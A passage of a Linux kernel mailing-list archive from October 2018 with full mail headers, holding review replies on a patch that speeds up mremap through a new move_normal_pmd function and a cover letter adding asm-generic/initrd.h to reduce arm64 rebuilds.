 QcfPs27SKl5mFSEooXJbqMjbx83UniuNNtVnnH/4LjHAwi1BV8KZQTMLbiNe7Qj4gAXB
 WiwJN3gpUB4gETa3kF2SIbaG0zt9P4jW8rui/oIbV5eVOC7serhiwbPRzjDdg05NuIFA
 MAkSL4TfS9YxfuO3e1IfL9ZEdsTWsOTm5USlwxZxFkembyzDiciEiD6vz1oErLxKPQO7
 4g9LSz5n6/IzeiKtRveJh4qva8galJwL/cnZQG8NeG/jADKpLzQwZDFdkp7RBnOQyOFM
 EfQw==
X-Gm-Message-State: AGRZ1gJbx6JyOWNdbfjv/qBgk9DqcZhStfzAHC5t9G5oaQVL6U6G1l/R
 mOAslYnBWOjMDz7cGiqPtFg=
X-Google-Smtp-Source: AJdET5fJWm/yEunoAdHkJCNfHZyAKT69zWrP0KZ/06Nf8Zmi/6rvBn7LEzBt+uDaB55Nx51vc0n+3g==
X-Received: by 2002:a62:6383:: with SMTP id
 x125-v6mr2334785pfb.13.1540382257876; 
 Wed, 24 Oct 2018 04:57:37 -0700 (PDT)
Original-Received: from localhost (14-202-194-140.static.tpgi.com.au. [14.202.194.140])
 by smtp.gmail.com with ESMTPSA id
 t5-v6sm3677450pfm.26.2018.10.24.04.57.35
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Wed, 24 Oct 2018 04:57:36 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181024_045750_521481_D1AA580F 
X-CRM114-Status: GOOD (  18.86  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:542 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (bsingharora[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4601 gmane.linux.ports.mips.general:67157 gmane.linux.ports.ia64:29422 gmane.linux.ports.sh.devel:57676 gmane.linux.kernel.mm:205928 gmane.linux.ports.riscv:1184 gmane.comp.emulators.kvm.arm.devel:19585 gmane.linux.ports.sparc:28639 gmane.linux.ports.hexagon:1942 gmane.linux.ports.parisc:29223 gmane.linux.kernel:2906848 gmane.linux.ports.alpha:5355 gmane.linux.ports.ppc64.devel:164855
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4601>

On Wed, Oct 24, 2018 at 01:12:56PM +0300, Kirill A. Shutemov wrote:
> On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> > diff --git a/mm/mremap.c b/mm/mremap.c
> > index 9e68a02a52b1..2fd163cff406 100644
> > --- a/mm/mremap.c
> > +++ b/mm/mremap.c
> > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> >  		drop_rmap_locks(vma);
> >  }
> >  
> > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > +		  unsigned long new_addr, unsigned long old_end,
> > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > +{
> > +	spinlock_t *old_ptl, *new_ptl;
> > +	struct mm_struct *mm = vma->vm_mm;
> > +
> > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > +	    || old_end - old_addr < PMD_SIZE)
> > +		return false;
> > +
> > +	/*
> > +	 * The destination pmd shouldn't be established, free_pgtables()
> > +	 * should have release it.
> > +	 */
> > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > +		return false;
> > +
> > +	/*
> > +	 * We don't have to worry about the ordering of src and dst
> > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > +	 */
> > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > +	if (old_ptl) {
> 
> How can it ever be false?
> 
> > +		pmd_t pmd;
> > +
> > +		new_ptl = pmd_lockptr(mm, new_pmd);


Looks like this is largely inspired by move_huge_pmd(), I guess a lot of
the code applies, why not just reuse as much as possible? The same comments
w.r.t mmap_sem helping protect against lock order issues applies as well.

> > +		if (new_ptl != old_ptl)
> > +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> > +
> > +		/* Clear the pmd */
> > +		pmd = *old_pmd;
> > +		pmd_clear(old_pmd);
> > +
> > +		VM_BUG_ON(!pmd_none(*new_pmd));
> > +
> > +		/* Set the new pmd */
> > +		set_pmd_at(mm, new_addr, new_pmd, pmd);
> > +		if (new_ptl != old_ptl)
> > +			spin_unlock(new_ptl);
> > +		spin_unlock(old_ptl);
> > +
> > +		*need_flush = true;
> > +		return true;
> > +	}
> > +	return false;
> > +}
> > +
> -- 
>  Kirill A. Shutemov
> 

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Wed, 24 Oct 2018 15:57:24 +0300
Lines: 52
Approved: news@gmane.org
Message-ID: <20181024125724.yf6frdimjulf35do@kshutemo-mobl1>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540385748 25060 195.159.176.226 (24 Oct 2018 12:55:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 12:55:48 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-b
To: Balbir Singh <bsingharora@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 14:55:39 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFIhG-0006LD-SM
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 14:55:39 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=dNUDottrJlmsaA1ojOoNGvSbCLeAXII054DjcO1h5G0=; b=ofD/K8awacx0FW
	/9+W0I3oS0zILla3x0ceAPJuj5t8rtMZZmksIIauPT0KPPfZTIL9WMziftVysTtdwcy6lcH7jIvfi
	oiIRMMpL3W1G19fjc6CP5z182QVvSBnu3oZwLSlRfHKj5OECdVfbpzMfDJmH2WZfuxozH6Mv3ipBE
	7qweiF5eHx8ZB5zyHkQbE63JZRdOGj2I5mSznIUPEMzJasQ/OfwCULsD45cUna2JU4Bs3Fyb1usCQ
	IL/d4wkXfeqDc14PUieJc8LqDu4pr1/wxwOJ62iuZpSrLESsP7KvlP/2Iy2TRfgsE5U2DvbVQjXDF
	6hm1Uq5MHZNyC9vc7w0Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFIjK-0006Kn-Rn; Wed, 24 Oct 2018 12:57:46 +0000
Original-Received: from mail-pl1-x643.google.com ([2607:f8b0:4864:20::643])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFIjF-0006J6-JZ
 for linux-snps-arc@lists.infradead.org; Wed, 24 Oct 2018 12:57:43 +0000
Original-Received: by mail-pl1-x643.google.com with SMTP id p5-v6so2200896plq.8
 for <linux-snps-arc@lists.infradead.org>; Wed, 24 Oct 2018 05:57:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=u4uba2fx6yj15XJfXzXAGhRcWjDfkikfuZTGMLXtNuw=;
 b=QUWcy6Sl2uKBSxMKyAQKgPHaaZkxUyGKW1j/tcrhbSXB3vW5a56lXmFSTP0gzGbZK3
 vffkJDQW2WMbIFLuD1+6ufBku/+pf6UeruhfzRwNYwFgIuIJTiBEFtQd6OUHFAQ6eayl
 P+oyst7tx7B2tcyac+nAMIUnZnHfXCn48NySbAEzmKBcKrbkCpbDR97BYPvJugxN++Cj
 APyxLuPJd0VjY9bkSUeFLpZ1THRyudEGwY77knuPasZkTOLS31IxwdJtMwVSEmSEjNTT
 gafpbeBUtbqb+qibgmoy3fyXe8MHjyx6PnKU0Is89VSk3GMj5Rt4EKiaVNHGw+K4Tm+L
 MPaA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=u4uba2fx6yj15XJfXzXAGhRcWjDfkikfuZTGMLXtNuw=;
 b=TTAP1KDTteeYLS+zjKhhVWXnLsMxzSUH+RIY8kOhityFPqUdFfdXJ/oqgbLPWpapNa
 GdhQ8eSQ6XFvUegnyAvTEgxWm93l2Gt0cKiGqHsQC+nTueDDULRuqwxT+gKEVKllpeBq
 jllGC4NuoIIQiLEr7ea9T+2+J8Zo0DpC9QGXKYQUGTozaXdDMX/t0XH7wP2SYYpK3SSq
 RPntE834GaHPQ9/ppMeFBgHIZe9/JpDPbljyBkxTEhhgnB43SrVlldEPbGM0X+g9ZEN0
 lCQxsm1/MrfBglfzFoUeIwgwcSo6Ey1AWU/CTFZO/O1pqllp4b6V7xwGsUNUoBwhNWpC
 wmeA==
X-Gm-Message-State: AGRZ1gJsjA1WiImBM99XFtgF8FDuSW+CXFqnEHP8glVgU7OEW8Y3zKaP
 sKmZsLlOUkAPr8sR10cIe0AEVA==
X-Google-Smtp-Source: AJdET5f0Q09g2nkZdpmB3hAoSyWMxOfqRQx8u4VGhcieEr9jQ0pioGElufWMbGpMlhoL8pENMWgATQ==
X-Received: by 2002:a17:902:bf02:: with SMTP id
 bi2-v6mr2470661plb.186.1540385850462; 
 Wed, 24 Oct 2018 05:57:30 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([192.55.54.44])
 by smtp.gmail.com with ESMTPSA id l83-v6sm10557314pfi.172.2018.10.24.05.57.28
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 24 Oct 2018 05:57:29 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 1845F300225; Wed, 24 Oct 2018 15:57:24 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181024115733.GN8537@350D>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181024_055741_681379_FDE51583 
X-CRM114-Status: GOOD (  18.88  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:643 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4602 gmane.linux.ports.mips.general:67158 gmane.linux.ports.ia64:29423 gmane.linux.ports.sh.devel:57677 gmane.linux.kernel.mm:205934 gmane.linux.ports.riscv:1185 gmane.comp.emulators.kvm.arm.devel:19586 gmane.linux.ports.sparc:28641 gmane.linux.ports.hexagon:1943 gmane.linux.ports.parisc:29224 gmane.linux.kernel:2906874 gmane.linux.ports.alpha:5356 gmane.linux.ports.ppc64.devel:164856
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4602>

On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> On Wed, Oct 24, 2018 at 01:12:56PM +0300, Kirill A. Shutemov wrote:
> > On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > index 9e68a02a52b1..2fd163cff406 100644
> > > --- a/mm/mremap.c
> > > +++ b/mm/mremap.c
> > > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> > >  		drop_rmap_locks(vma);
> > >  }
> > >  
> > > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > > +		  unsigned long new_addr, unsigned long old_end,
> > > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > > +{
> > > +	spinlock_t *old_ptl, *new_ptl;
> > > +	struct mm_struct *mm = vma->vm_mm;
> > > +
> > > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > +	    || old_end - old_addr < PMD_SIZE)
> > > +		return false;
> > > +
> > > +	/*
> > > +	 * The destination pmd shouldn't be established, free_pgtables()
> > > +	 * should have release it.
> > > +	 */
> > > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > > +		return false;
> > > +
> > > +	/*
> > > +	 * We don't have to worry about the ordering of src and dst
> > > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > > +	 */
> > > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > > +	if (old_ptl) {
> > 
> > How can it ever be false?
> > 
> > > +		pmd_t pmd;
> > > +
> > > +		new_ptl = pmd_lockptr(mm, new_pmd);
> 
> 
> Looks like this is largely inspired by move_huge_pmd(), I guess a lot of
> the code applies, why not just reuse as much as possible? The same comments
> w.r.t mmap_sem helping protect against lock order issues applies as well.

pmd_lock() cannot fail, but __pmd_trans_huge_lock() can. We should not
copy the code blindly.

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 0/2] arm64: Cut rebuild time when changing CONFIG_BLK_DEV_INITRD
Date: Wed, 24 Oct 2018 12:32:54 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <20181024193256.23734-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540409479 18852 195.159.176.226 (24 Oct 2018 19:31:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 19:31:19 +0000 (UTC)
Cc: Florian Fainelli <f.fainelli@gmail.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>,
        linux-alpha@vger.kernel.org (open list:ALPHA PORT),
        linux-snps-arc@lists.infradead.org (open list:SYNOPSYS ARC ARCHITECTURE),
        linux-arm-kernel@lists.infradead.org (moderated list:ARM PORT),
        linux-c6x-dev@linux-c6x.org (open list:C6X ARCHITECTURE),
        uclinux-h8-devel@lists.sourceforge.jp (moderated list:H8/300
        ARCHITECTURE),
        linux-hexagon@vger.kernel.org (open list:QUALCOMM HEXAGON ARCHITECTURE),
        linux-ia64@vger.kernel.org (open list:IA64 (Itanium) PLATFORM),
        linux-m68k@lists.linux-m68k.org (open list:M68
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 24 21:31:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFOs2-0004jO-To
	for glk-linux-kernel-4@m.gmane.org; Wed, 24 Oct 2018 21:31:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726351AbeJYECj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 00:02:39 -0400
Original-Received: from mail-pg1-f195.google.com ([209.85.215.195]:42280 "EHLO
        mail-pg1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725817AbeJYECj (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 00:02:39 -0400
Original-Received: by mail-pg1-f195.google.com with SMTP id i4-v6so2795812pgq.9;
        Wed, 24 Oct 2018 12:33:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=2Vz407YGxG3JrIcbuMcGjknc9A1ux1lohN4oRm/Cqf4=;
        b=McA1lhaOKIJL65beGoawo5XA+sF/abwjDeA2yKaiNr8dyq/Od5ufT99E0GONMfFrB5
         mxj/QZue6Tf1t+cRflB1mZi2fxv3IYj6NJnHFMWNkG2f8lp7SnQiYeL4NyVTjHBEdZ05
         1dnyS5bAy3ME1/TpbS7kNt2F+Ark1Fufn3BBBGkrhPKZooIYoq2aAMK7wGQ/hNB2raHa
         uRrvKYdU/4TXZHxUoWQfYalvnc/5tO7e0D+DFqq7jz/D1isEZXlEIx9USTvPb91olUnq
         csiJX/2lmmct5T1tGTx9ZAQ22vlQr9LB07PUSw7pRK5YoMqLg5+eX9X1PLv+twsgdIN4
         lSWQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=2Vz407YGxG3JrIcbuMcGjknc9A1ux1lohN4oRm/Cqf4=;
        b=gS0ayLbsXn1XQ0c3Co9YqTxco3dJ5S0bit2bYl0uuwJko0l4KVRpY3ZQiDTP2nFK5V
         jRSeh5VhPS0JmxXRfbJypni8NOKUsm0DqSYt9j4SQW9akXSky4ziWeEWzCQg1k9iflYJ
         fgGvPgyTgOjnYnjUG3JAX2WZ5cfI3I4V7WO2TcKnij/W9fzL+Z5Kbpn0wX55ZxZDNfxp
         0LKpWFqBG/Ue5S8mYa2gJ5sWjDwFqihWIx8Jxn0TcH9Upri/2bVE2fAWLSfCtOgZo1E0
         C+MsFlozWNs7dFmZD6QB6+7X+dDIPs0EU70I8DgrOpocLlQwknQ/s0b/W99wIzuZ+7rK
         OUxA==
X-Gm-Message-State: AGRZ1gIK1/7ux0KENdxZ+4xANo6qGmuvN5EAdgFXIbfDSf6G4qpR7kYg
        jr/73ccOzIwR1oHf0a3Q8cf/RfQsfdw=
X-Google-Smtp-Source: AJdET5f4TB1KsZED30rc1ToGjGeQ0Fw4IrT5lX4Ij0zKC68JI72ZgugEVwyyG9P2X2V4HKF41Rc2IQ==
X-Received: by 2002:a63:c54a:: with SMTP id g10-v6mr3624573pgd.201.1540409596871;
        Wed, 24 Oct 2018 12:33:16 -0700 (PDT)
Original-Received: from fainelli-desktop.igp.broadcom.net ([192.19.223.250])
        by smtp.gmail.com with ESMTPSA id j187-v6sm9818878pfc.39.2018.10.24.12.33.14
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 24 Oct 2018 12:33:15 -0700 (PDT)
X-Mailer: git-send-email 2.17.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907118 gmane.linux.ports.alpha:5358 gmane.linux.kernel.arc:4604 gmane.linux.ports.arm.kernel:681289 gmane.linux.ports.hexagon:1944 gmane.linux.ports.ia64:29424 gmane.linux.ports.mips.general:67162 gmane.linux.ports.parisc:29225 gmane.linux.ports.ppc64.devel:164863 gmane.linux.ports.riscv:1190 gmane.linux.ports.sh.devel:57678 gmane.linux.ports.sparc:28647 gmane.linux.drivers.devicetree:294256 gmane.linux.kernel.cross-arch:48043
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907118>

Hi all,

While investigating why ARM64 required a ton of objects to be rebuilt
when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
because we define __early_init_dt_declare_initrd() differently and we do
that in arch/arm64/include/asm/memory.h which gets included by a fair
amount of other header files, and translation units as well.

Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
systems that generate two kernels: one with the initramfs and one
without. buildroot is one of these build systems, OpenWrt is also
another one that does this.

This patch series proposes adding an empty initrd.h to satisfy the need
for drivers/of/fdt.c to unconditionally include that file, and moves the
custom __early_init_dt_declare_initrd() definition away from
asm/memory.h

This cuts the number of objects rebuilds from 1920 down to 26, so a
factor 73 approximately.

Apologies for the long CC list, please let me know how you would go
about merging that and if another approach would be preferable, e.g:
introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
something like that.

Changes in v2:

- put an /* empty */ comment in the asm-generic/initrd.h file
- trim down the CC list to maximize the chances of people receiving this

Florian Fainelli (2):
  arch: Add asm-generic/initrd.h and make use of it for most
    architectures
  arm64: Create asm/initrd.h

 arch/alpha/include/asm/Kbuild      |  1 +
 arch/arc/include/asm/Kbuild        |  1 +
 arch/arm/include/asm/Kbuild        |  1 +
 arch/arm64/include/asm/initrd.h    | 13 +++++++++++++
 arch/arm64/include/asm/memory.h    |  8 --------
 arch/c6x/include/asm/Kbuild        |  1 +
 arch/h8300/include/asm/Kbuild      |  1 +
 arch/hexagon/include/asm/Kbuild    |  1 +
 arch/ia64/include/asm/Kbuild       |  1 +
 arch/m68k/include/asm/Kbuild       |  1 +
 arch/microblaze/include/asm/Kbuild |  1 +
 arch/mips/include/asm/Kbuild       |  1 +
 arch/nds32/include/asm/Kbuild      |  1 +
 arch/nios2/include/asm/Kbuild      |  1 +
 arch/openrisc/include/asm/Kbuild   |  1 +
 arch/parisc/include/asm/Kbuild     |  1 +
 arch/powerpc/include/asm/Kbuild    |  1 +
 arch/riscv/include/asm/Kbuild      |  1 +
 arch/s390/include/asm/Kbuild       |  1 +
 arch/sh/include/asm/Kbuild         |  1 +
 arch/sparc/include/asm/Kbuild      |  1 +
 arch/um/include/asm/Kbuild         |  1 +
 arch/unicore32/include/asm/Kbuild  |  1 +
 arch/x86/include/asm/Kbuild        |  1 +
 arch/xtensa/include/asm/Kbuild     |  1 +
 drivers/of/fdt.c                   |  1 +
 include/asm-generic/initrd.h       |  1 +
 27 files changed, 38 insertions(+), 8 deletions(-)
 create mode 100644 arch/arm64/include/asm/initrd.h
 create mode 100644 include/asm-generic/initrd.h

-- 
2.17.1



From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 1/2] arch: Add asm-generic/initrd.h and make use of it for most architectures
Date: Wed, 24 Oct 2018 12:32:55 -0700
Lines: 319
Approved: news@gmane.org
Message-ID: <20181024193256.23734-2-f.fainelli@gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540409482 19076 195.159.176.226 (24 Oct 2018 19:31:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 19:31:22 +0000 (UTC)
Cc: Florian Fainelli <f.fainelli@gmail.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>,
        linux-alpha@vger.kernel.org (open list:ALPHA PORT),
        linux-snps-arc@lists.infradead.org (open list:SYNOPSYS ARC ARCHITECTURE),
